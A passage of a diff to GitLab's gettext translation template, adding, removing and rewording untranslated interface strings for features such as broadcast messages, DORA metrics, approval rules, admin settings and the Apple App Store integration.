msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -1137,6 +1143,12 @@ msgstr ""
msgid "%{ref} cannot be added: %{error}"
msgstr ""
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] ""
@@ -1156,6 +1168,13 @@ msgstr ""
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
@@ -1202,9 +1221,6 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "%{size} %{unit}"
-msgstr ""
-
msgid "%{size} GiB"
msgstr ""
@@ -1328,13 +1344,6 @@ msgstr ""
msgid "%{text} is available"
msgstr ""
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr ""
@@ -1805,7 +1814,7 @@ msgstr[2] ""
msgstr[3] ""
msgid "1 user"
-msgid_plural "%{num} users"
+msgid_plural "%d users"
msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
@@ -2038,6 +2047,9 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr ""
@@ -2182,9 +2194,6 @@ msgstr ""
msgid "AWS secret access key (Optional)"
msgstr ""
-msgid "AWS service error: %{error}"
-msgstr ""
-
msgid "Abort"
msgstr ""
@@ -2233,9 +2242,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied: %{error}"
-msgstr ""
-
msgid "Access expires"
msgstr ""
@@ -2395,7 +2401,7 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
-msgid "Activated on"
+msgid "Activated"
msgstr ""
msgid "Active"
@@ -2473,6 +2479,9 @@ msgstr ""
msgid "Add a collapsible section"
msgstr ""
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2851,15 +2860,18 @@ msgstr ""
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr ""
-msgid "AdminArea|Billable users"
-msgstr ""
-
msgid "AdminArea|Blocked users"
msgstr ""
msgid "AdminArea|Bots"
msgstr ""
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr ""
@@ -2941,9 +2953,18 @@ msgstr ""
msgid "AdminArea|Stopping jobs failed"
msgstr ""
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr ""
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -2971,6 +2992,12 @@ msgstr ""
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr ""
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
@@ -3025,6 +3052,9 @@ msgstr ""
msgid "AdminSettings|Auto DevOps domain"
msgstr ""
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr ""
+
msgid "AdminSettings|CI/CD limits"
msgstr ""
@@ -3094,6 +3124,9 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr ""
@@ -3181,6 +3214,9 @@ msgstr ""
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr ""
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr ""
@@ -3268,9 +3304,6 @@ msgstr ""
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr ""
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr ""
@@ -3316,6 +3349,9 @@ msgstr ""
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr ""
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr ""
@@ -3562,7 +3598,7 @@ msgstr ""
msgid "AdminUsers|Is using seat"
msgstr ""
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
msgstr ""
msgid "AdminUsers|It's you!"
@@ -3607,6 +3643,9 @@ msgstr ""
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr ""
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr ""
@@ -3865,6 +3904,9 @@ msgstr ""
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr ""
@@ -4507,9 +4549,6 @@ msgstr ""
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr ""
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr ""
@@ -4678,15 +4717,6 @@ msgstr ""
msgid "An error occurred while loading projects."
msgstr ""
-msgid "An error occurred while loading the Jobs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Needs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr ""
-
msgid "An error occurred while loading the blob controls."
msgstr ""
@@ -4720,9 +4750,6 @@ msgstr ""
msgid "An error occurred while loading the notification settings. Please try again."
msgstr ""
-msgid "An error occurred while loading the pipeline."
-msgstr ""
-
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -4976,6 +5003,18 @@ msgstr ""
msgid "Append the comment with %{tableflip}"
msgstr ""
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr ""
@@ -5122,9 +5161,6 @@ msgstr ""
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr ""
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr ""
@@ -5216,6 +5252,9 @@ msgstr ""
msgid "Applying suggestions..."
msgstr ""
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr ""
@@ -5364,6 +5403,9 @@ msgstr ""
msgid "Approvals are optional."
msgstr ""
+msgid "Approvals required"
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr ""
@@ -5923,6 +5965,9 @@ msgstr ""
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr ""
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr ""
@@ -5938,12 +5983,18 @@ msgstr ""
msgid "AuditStreams|Edit %{link}"
msgstr ""
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr ""
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr ""
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr ""
@@ -7523,9 +7574,93 @@ msgstr ""
msgid "Broadcast Messages"
msgstr ""
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Dark"
+msgstr ""
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr ""
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr ""
+
+msgid "BroadcastMessages|Light Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Light Green"
+msgstr ""
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr ""
+
+msgid "BroadcastMessages|Message"
+msgstr ""
+
+msgid "BroadcastMessages|Notification"
+msgstr ""
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr ""
+
+msgid "BroadcastMessages|Starts at"
+msgstr ""
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr ""
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr ""
+msgid "BroadcastMessages|Type"
+msgstr ""
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr ""
+
msgid "Browse Directory"
msgstr ""
@@ -8124,6 +8259,9 @@ msgstr ""
msgid "Cannot promote issue due to insufficient permissions."
msgstr ""
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr ""
@@ -8235,13 +8373,10 @@ msgstr ""
msgid "Change your password or recover your current one"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
-msgstr ""
-
-msgid "ChangeReviewer|Reviewer changed to %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
msgstr ""
-msgid "ChangeReviewer|Unassigned"
+msgid "ChangeReviewer|All reviewers were removed."
msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
@@ -8528,6 +8663,9 @@ msgstr ""
msgid "Checkout|Country"
msgstr ""
+msgid "Checkout|Coupon code (optional)"
+msgstr ""
+
msgid "Checkout|Create a new group"
msgstr ""
@@ -8687,12 +8825,6 @@ msgstr ""
msgid "Child epic"
msgstr ""
-msgid "Child epic does not exist."
-msgstr ""
-
-msgid "Child epic doesn't exist."
-msgstr ""
-
msgid "Child issues and epics"
msgstr ""
@@ -8876,6 +9008,9 @@ msgstr ""
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr ""
@@ -9003,6 +9138,9 @@ msgstr ""
msgid "Click the link below to confirm your email address."
msgstr ""
+msgid "Click to expand"
+msgstr ""
+
msgid "Click to expand it."
msgstr ""
@@ -9105,12 +9243,18 @@ msgstr ""
msgid "Closed this %{quick_action_target}."
msgstr ""
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr ""
@@ -9778,21 +9922,6 @@ msgstr ""
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr ""
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -10283,6 +10412,9 @@ msgstr ""
msgid "Committed by"
msgstr ""
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr ""
@@ -11180,6 +11312,9 @@ msgstr ""
msgid "Continue to the next step"
msgstr ""
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr ""
@@ -11573,6 +11708,9 @@ msgstr ""
msgid "Country"
msgstr ""
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -12471,6 +12609,9 @@ msgstr ""
msgid "CycleAnalytics|project dropdown filter"
msgstr ""
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -12495,6 +12636,9 @@ msgstr ""
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12507,7 +12651,10 @@ msgstr ""
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12528,6 +12675,12 @@ msgstr ""
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12549,6 +12702,12 @@ msgstr ""
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr ""
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12567,6 +12726,15 @@ msgstr ""
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr ""
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr ""
@@ -12588,6 +12756,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12597,6 +12771,9 @@ msgstr ""
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr ""
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr ""
@@ -12612,9 +12789,6 @@ msgstr ""
msgid "DashboardProjects|Personal"
msgstr ""
-msgid "DashboardProjects|Trending"
-msgstr ""
-
msgid "Dashboards"
msgstr ""
@@ -13534,11 +13708,12 @@ msgstr ""
msgid "DeletionSettings|Keep deleted"
msgstr ""
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr ""
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr ""
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
msgid "DeletionSettings|None, delete immediately"
msgstr ""
@@ -13609,6 +13784,9 @@ msgstr ""
msgid "Dependencies|Dependency path"
msgstr ""
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -13996,9 +14174,15 @@ msgstr ""
msgid "Deployment Target|Select the deployment target"
msgstr ""
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr ""
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -14014,6 +14198,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -14099,6 +14289,12 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr ""
@@ -14370,7 +14566,7 @@ msgstr ""
msgid "DevOps adoption"
msgstr ""
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14595,6 +14791,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr ""
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr ""
@@ -15094,6 +15293,9 @@ msgstr ""
msgid "E-mail:"
msgstr ""
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -16291,10 +16493,7 @@ msgstr ""
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr ""
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
msgid "Error: Unable to create deploy freeze"
@@ -16303,9 +16502,6 @@ msgstr ""
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr ""
@@ -16805,9 +17001,6 @@ msgstr ""
msgid "Expires %{preposition} %{expires_at}"
msgstr ""
-msgid "Expires on"
-msgstr ""
-
msgid "Expires:"
msgstr ""
@@ -16841,9 +17034,6 @@ msgstr ""
msgid "Explore snippets"
msgstr ""
-msgid "Explore topics"
-msgstr ""
-
msgid "Export"
msgstr ""
@@ -17167,9 +17357,6 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -17597,9 +17784,6 @@ msgstr ""
msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
-msgid "Filter by Git revision"
-msgstr ""
-
msgid "Filter by issues that are currently closed."
msgstr ""
@@ -17918,16 +18102,13 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
-msgid "ForksDivergence|Up to date with upstream repository"
-msgstr ""
-
-msgid "Format: %{dateFormat}"
+msgid "ForksDivergence|Fork has diverged from upstream repository"
msgstr ""
-msgid "Found errors in your %{gitlab_ci_yml}:"
+msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
-msgid "Found errors in your .gitlab-ci.yml:"
+msgid "Format: %{dateFormat}"
msgstr ""
msgid "Framework successfully deleted"
@@ -18027,6 +18208,9 @@ msgstr ""
msgid "GPG Keys"
msgstr ""
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr ""
@@ -18689,9 +18873,6 @@ msgstr ""
msgid "Git"
msgstr ""
-msgid "Git GC period"
-msgstr ""
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -19107,6 +19288,9 @@ msgstr ""
msgid "Global Shortcuts"
msgstr ""
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr ""
@@ -19119,6 +19303,12 @@ msgstr ""
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr ""
+msgid "GlobalSearch|Close"
+msgstr ""
+
+msgid "GlobalSearch|Group"
+msgstr ""
+
msgid "GlobalSearch|Groups"
msgstr ""
@@ -19143,6 +19333,9 @@ msgstr ""
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr ""
+msgid "GlobalSearch|Project"
+msgstr ""
+
msgid "GlobalSearch|Projects"
msgstr ""
@@ -19161,6 +19354,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr ""
+msgid "GlobalSearch|Search"
+msgstr ""
+
msgid "GlobalSearch|Search GitLab"
msgstr ""
@@ -19173,9 +19369,15 @@ msgstr ""
msgid "GlobalSearch|Settings"
msgstr ""
+msgid "GlobalSearch|Syntax options"
+msgstr ""
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr ""
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr ""
@@ -19500,6 +19702,12 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr ""
@@ -19662,7 +19870,7 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
msgstr ""
-msgid "GroupImport|Failed to import group."
+msgid "GroupImport|Failed to import group: %{error}"
msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
@@ -20145,9 +20353,15 @@ msgstr ""
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr ""
+msgid "GroupsEmptyState|No archived projects."
+msgstr ""
+
msgid "GroupsEmptyState|No groups found"
msgstr ""
+msgid "GroupsEmptyState|No shared projects."
+msgstr ""
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr ""
@@ -20202,6 +20416,9 @@ msgstr ""
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr ""
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr ""
+
msgid "GroupsNew|No import options available"
msgstr ""
@@ -20211,6 +20428,12 @@ msgstr ""
msgid "GroupsNew|Personal access token"
msgstr ""
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr ""
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr ""
@@ -20220,6 +20443,9 @@ msgstr ""
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr ""
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr ""
@@ -20337,6 +20563,9 @@ msgstr ""
msgid "HAR file path or URL"
msgstr ""
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr ""
@@ -20656,6 +20885,12 @@ msgstr ""
msgid "Hierarchy|Planning hierarchy"
msgstr ""
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr ""
+
msgid "Hierarchy|Take the work items survey"
msgstr ""
@@ -21070,9 +21305,6 @@ msgstr ""
msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr ""
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
@@ -21094,6 +21326,9 @@ msgstr ""
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr ""
@@ -21318,12 +21553,24 @@ msgstr ""
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
+msgid "ImportProjects|Cancel import"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr ""
msgid "ImportProjects|Import repositories"
msgstr ""
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
msgid "ImportProjects|Importing the project failed"
msgstr ""
@@ -22384,7 +22631,7 @@ msgstr ""
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr ""
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
@@ -22448,9 +22695,18 @@ msgstr ""
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr ""
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr ""
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr ""
@@ -22601,6 +22857,9 @@ msgstr ""
msgid "Integrations|Instance-level integration management"
msgstr ""
+msgid "Integrations|Integration details"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -23805,6 +24064,9 @@ msgstr ""
msgid "JiraService|Change GitLab version"
msgstr ""
+msgid "JiraService|Continue setup in GitLab"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -23853,6 +24115,9 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr ""
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
@@ -23997,9 +24262,6 @@ msgstr ""
msgid "Jobs|All"
msgstr ""
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr ""
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr ""
@@ -24315,9 +24577,6 @@ msgstr ""
msgid "Kubernetes cluster"
msgstr ""
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr ""
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr ""
@@ -24482,9 +24741,6 @@ msgstr ""
msgid "Last Seen"
msgstr ""
-msgid "Last Sync"
-msgstr ""
-
msgid "Last Used"
msgstr ""
@@ -24617,6 +24873,9 @@ msgstr ""
msgid "Learn More."
msgstr ""
+msgid "Learn about signing commits"
+msgstr ""
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
@@ -24686,9 +24945,6 @@ msgstr ""
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
-msgid "Learn more about signing commits"
-msgstr ""
-
msgid "Learn more in the"
msgstr ""
